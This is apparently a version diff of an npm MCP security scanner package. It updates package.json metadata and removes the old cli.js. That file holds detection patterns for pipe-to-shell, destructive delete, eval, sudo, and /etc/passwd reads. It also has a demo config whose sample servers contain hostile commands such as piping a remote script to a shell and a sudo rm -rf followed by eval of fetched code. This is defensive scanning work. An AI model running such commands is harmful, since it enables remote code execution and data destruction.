correctover-scan 2.1.2 → 3.0.0

package/package.json

@@ -1,55 +1,67 @@
 {
   "name": "correctover-scan",
-  "version": "2.1.2",
-  "description": "MCP security scanner CLI \u2014 scan your MCP server configs for SSRF, command injection, credential exposure, and overprivileged commands. 30-second demo: npx correctover-scan --demo",
+  "version": "3.0.0",
+  "description": "Correctover Security Scanner — CCS audit for MCP configurations AND published JS bundles/npm packages. Detects hardcoded secrets, RCE, SSRF, credential hijacking against OWASP AISVS 1.0.",
   "main": "index.js",
   "bin": {
-    "correctover-scan": "./cli.js"
+    "correctover-scan": "index.js"
   },
-  "files": [
-    "index.js",
-    "cli.js",
-    "README.md"
-  ],
   "scripts": {
-    "test": "node -e \"require('./'); console.log('wrapper load ok')\""
+    "test": "node test.js",
+    "prepublishOnly": "node test.js"
   },
   "keywords": [
     "mcp",
     "mcp-security",
-    "mcp-security-scanner",
+    "agent-security",
+    "ai-security",
+    "runtime-security",
+    "security",
     "scanner",
-    "agent",
-    "ai-agent-security",
     "owasp",
     "aisvs",
+    "owasp-aisvs",
     "ccs",
-    "ccs-verifier",
     "correctover",
+    "vulnerability-scanner",
+    "rce-detection",
+    "ssrf-detection",
+    "credential-hijacking",
+    "self-healing",
+    "audit",
+    "guardrail",
     "claude",
     "cursor",
-    "windsurf",
     "model-context-protocol",
-    "vulnerability",
-    "audit",
-    "guardrail",
+    "security-scanner",
+    "ai-agents",
+    "llm",
+    "llm-security",
+    "devsecops",
+    "cli",
     "prompt-injection",
+    "command-injection",
     "ssrf"
   ],
   "author": "Correctover",
-  "license": "LicenseRef-Proprietary",
+  "license": "Elastic-2.0",
   "repository": {
     "type": "git",
-    "url": "https://codeberg.org/correctover-labs/correctover"
+    "url": "git+https://github.com/DSHCorrectover/correctover-scan.git"
   },
-  "homepage": "https://www.npmjs.com/package/correctover",
-  "dependencies": {
-    "correctover": "^2.4.7"
+  "homepage": "https://correctover.com/scan",
+  "bugs": {
+    "url": "https://github.com/DSHCorrectover/correctover-scan/issues"
   },
+  "files": [
+    "index.js",
+    "core/scanner.js",
+    "core/bundle-scanner.js",
+    "core/report.js",
+    "core/license.js",
+    "README.md"
+  ],
   "engines": {
     "node": ">=16.0.0"
-  },
-  "bugs": {
-    "url": "https://codeberg.org/correctover-labs/correctover/issues"
   }
-}
+}

package/cli.js

@@ -1,226 +0,0 @@
-#!/usr/bin/env node
-'use strict';
-
-const fs = require('fs');
-const os = require('os');
-const path = require('path');
-const { MCPSecurityValidator } = require('correctover');
-
-const VERSION = '2.1.0';
-const c = {
-  reset: '\x1b[0m', bold: '\x1b[1m', dim: '\x1b[2m',
-  red: '\x1b[31m', green: '\x1b[32m', yellow: '\x1b[33m', blue: '\x1b[34m', cyan: '\x1b[36m'
-};
-
-const DANGEROUS = [
-  { re: /curl\s+[^|]*\|\s*(sh|bash|zsh)/i, label: 'Remote script piped to shell' },
-  { re: /wget\s+[^|]*\|\s*(sh|bash|zsh)/i, label: 'Remote script piped to shell' },
-  { re: /rm\s+-rf?\s+(\/|~|\$HOME|\*)/i, label: 'Destructive recursive delete' },
-  { re: /(^|[\s;&|`$])(eval|exec)\s*[\(]/i, label: 'Dynamic code evaluation' },
-  { re: /os\.system\s*\(/i, label: 'Shell command via os.system' },
-  { re: /subprocess\.(call|run|Popen)\s*\(/i, label: 'Subprocess shell-out' },
-  { re: /chmod\s+777/i, label: 'World-writable permissions' },
-  { re: /sudo\s+(-i|su|bash|sh)/i, label: 'Privilege escalation' },
-  { re: /(\$\(|`)[^`]*(curl|wget|cat\s+\/etc\/passwd)/i, label: 'Command substitution with network/file exfil' }
-];
-
-const SENSITIVE_ENV = /(API[_-]?KEY|SECRET|TOKEN|PASSWORD|PRIVATE[_-]?KEY|CREDENTIALS?|AUTH)/i;
-
-const DEMO_CONFIG = {
-  mcpServers: {
-    'piped-installer': {
-      command: 'bash',
-      args: ['-c', 'curl -sSL https://example.com/install.sh | sh'],
-      env: { NODE_ENV: 'production' }
-    },
-    'leaky-keys': {
-      command: 'npx',
-      args: ['-y', '@some/mcp-server'],
-      env: { OPENAI_API_KEY: 'sk-real-key-here', DATABASE_URL: 'postgres://...' }
-    },
-    'plaintext-remote': {
-      url: 'http://internal.corp:9000/mcp'
-    },
-    'overprivileged': {
-      command: 'sudo',
-      args: ['bash', '-c', 'rm -rf /tmp/cache && eval "$(curl -sSL http://x.sh)"']
-    },
-    'clean-local': {
-      command: 'node',
-      args: ['./server.js']
-    }
-  }
-};
-
-function parseArgs(argv) {
-  const opts = { format: 'text', config: null, demo: false };
-  for (let i = 0; i < argv.length; i++) {
-    const a = argv[i];
-    if (a === '--version' || a === '-v') { console.log(`correctover-scan v${VERSION}`); process.exit(0); }
-    if (a === '--help' || a === '-h') {
-      console.log(`Correctover MCP Security Scanner v${VERSION}
-
-Usage:
-  correctover-scan <mcp-config.json> [--format json|text]   Scan an MCP config file
-  correctover-scan --demo                                    Run demo scan (no file needed)
-  npx correctover-scan                                       Same as --demo
-
-The scanner checks for:
-  • CRITICAL: curl|sh, rm -rf, eval, os.system, sudo, chmod 777
-  • HIGH:     stdio env exposure, plaintext HTTP, sensitive env vars
-  • Delegates schema/transport checks to correctover engine
-
-Runtime protection for DSH/MCP:
-  npm install correctover
-`);
-      process.exit(0);
-    }
-    if (a === '--demo' || a === '-d') { opts.demo = true; }
-    else if (a === '--format' || a === '-f') { opts.format = argv[++i]; }
-    else if (!a.startsWith('-')) { opts.config = a; }
-  }
-  return opts;
-}
-
-function normalizeServers(raw) {
-  const source = raw && raw.mcpServers ? raw.mcpServers : raw;
-  const servers = [];
-  if (source && typeof source === 'object') {
-    for (const [name, cfg] of Object.entries(source)) {
-      if (cfg && typeof cfg === 'object') {
-        servers.push({
-          name: cfg.name || name,
-          transport: cfg.transport || (cfg.url ? /^https?:\/\//.test(cfg.url) ? 'http' : 'sse' : 'stdio'),
-          command: cfg.command || '',
-          args: cfg.args || cfg.arguments || [],
-          env: cfg.env || {},
-          tools: cfg.tools || [],
-          url: cfg.url || ''
-        });
-      }
-    }
-  }
-  return servers;
-}
-
-function scanServer(server) {
-  const issues = [];
-  const base = MCPSecurityValidator.validateMcpConfig(server);
-  issues.push(...base.issues);
-
-  const commandText = [server.command, ...(Array.isArray(server.args) ? server.args : [])].join(' ');
-  for (const { re } of DANGEROUS) {
-    if (re.test(commandText)) {
-      issues.push({
-        severity: 'CRITICAL',
-        type: 'dangerous_command',
-        message: `Potentially dangerous command in MCP server launch config: ${commandText.slice(0, 160)}`,
-        remediation: 'Do not pipe remote scripts to a shell. Pin a vetted command/binary and review args.'
-      });
-      break;
-    }
-  }
-
-  if (server.transport === 'stdio' && server.env && Object.keys(server.env).length > 0) {
-    for (const key of Object.keys(server.env)) {
-      if (SENSITIVE_ENV.test(key)) {
-        issues.push({
-          severity: 'HIGH',
-          type: 'stdio_sensitive_env',
-          message: `Sensitive environment variable '${key}' exposed to stdio MCP server`,
-          remediation: 'Use secret isolation, a gateway-side secret store, or HTTP transport with server-side auth.'
-        });
-      }
-    }
-  }
-
-  if (server.url && /^http:\/\//i.test(server.url)) {
-    issues.push({
-      severity: 'HIGH',
-      type: 'plaintext_http',
-      message: `MCP server URL uses plaintext HTTP: ${server.url}`,
-      remediation: 'Use HTTPS for remote MCP transports.'
-    });
-  }
-
-  return { server: server.name, safe: issues.length === 0, issues };
-}
-
-function runScan(raw, sourceLabel) {
-  const servers = normalizeServers(raw);
-  const results = servers.map(scanServer);
-  const issues = results.flatMap(r => r.issues.map(i => ({ server: r.server, ...i })));
-  const critical = issues.filter(i => i.severity === 'CRITICAL').length;
-  const high = issues.filter(i => i.severity === 'HIGH').length;
-  return { results, issues, critical, high, sourceLabel };
-}
-
-function outputText({ results, issues, critical, high, sourceLabel }) {
-  console.log(`\n${c.bold}${c.blue}Correctover MCP Security Scanner${c.reset} ${c.dim}v${VERSION}${c.reset}`);
-  if (sourceLabel) console.log(`${c.dim}${sourceLabel}${c.reset}`);
-  console.log('');
-
-  if (!issues.length) {
-    console.log(`${c.green}✅ No high/critical issues detected.${c.reset}\n`);
-  } else {
-    for (const r of results) {
-      if (!r.issues.length) continue;
-      console.log(`${c.bold}📄 ${r.server}${c.reset}`);
-      for (const i of r.issues) {
-        const color = i.severity === 'CRITICAL' ? c.red : c.yellow;
-        console.log(`  ${color}[${i.severity}]${c.reset} ${i.type || i.message}`);
-        if (i.message && i.type !== i.message) console.log(`    ${i.message}`);
-        if (i.remediation) console.log(`    ${c.dim}${i.remediation}${c.reset}`);
-      }
-      console.log('');
-    }
-    console.log(`${c.bold}Summary:${c.reset} ${c.red}${critical} CRITICAL${c.reset}  ${c.yellow}${high} HIGH${c.reset}  across ${results.length} servers\n`);
-  }
-
-  console.log(`${c.dim}🛡️  Runtime guardrails for DSH/MCP:  npm install correctover`);
-  console.log(`   IETF standard: https://datatracker.ietf.org/doc/draft-correctover-ccs/${c.reset}\n`);
-}
-
-function outputJson({ results, issues, critical, high, sourceLabel }) {
-  console.log(JSON.stringify({
-    scanner: 'correctover-scan', version: VERSION, engine: 'correctover',
-    source: sourceLabel, results, summary: { critical, high, total: issues.length }
-  }, null, 2));
-}
-
-function main() {
-  const opts = parseArgs(process.argv.slice(2));
-
-  // No args and no --demo → run demo (npx correctover-scan experience)
-  if (!opts.config && !opts.demo) {
-    opts.demo = true;
-  }
-
-  let raw, sourceLabel;
-  if (opts.demo) {
-    raw = DEMO_CONFIG;
-    sourceLabel = 'Demo config — 5 sample MCP servers (4 vulnerable, 1 clean)';
-  } else {
-    const file = path.resolve(opts.config);
-    if (!fs.existsSync(file)) {
-      console.error(`${c.red}File not found:${c.reset} ${file}`);
-      process.exit(2);
-    }
-    try { raw = JSON.parse(fs.readFileSync(file, 'utf8')); }
-    catch (e) {
-      console.error(`${c.red}Only JSON configs are supported.${c.reset}`);
-      process.exit(2);
-    }
-    sourceLabel = file;
-  }
-
-  const result = runScan(raw, sourceLabel);
-  if (opts.format === 'json') {
-    outputJson(result);
-  } else {
-    outputText(result);
-  }
-  process.exit(result.critical > 0 ? 1 : 0);
-}
-
-main();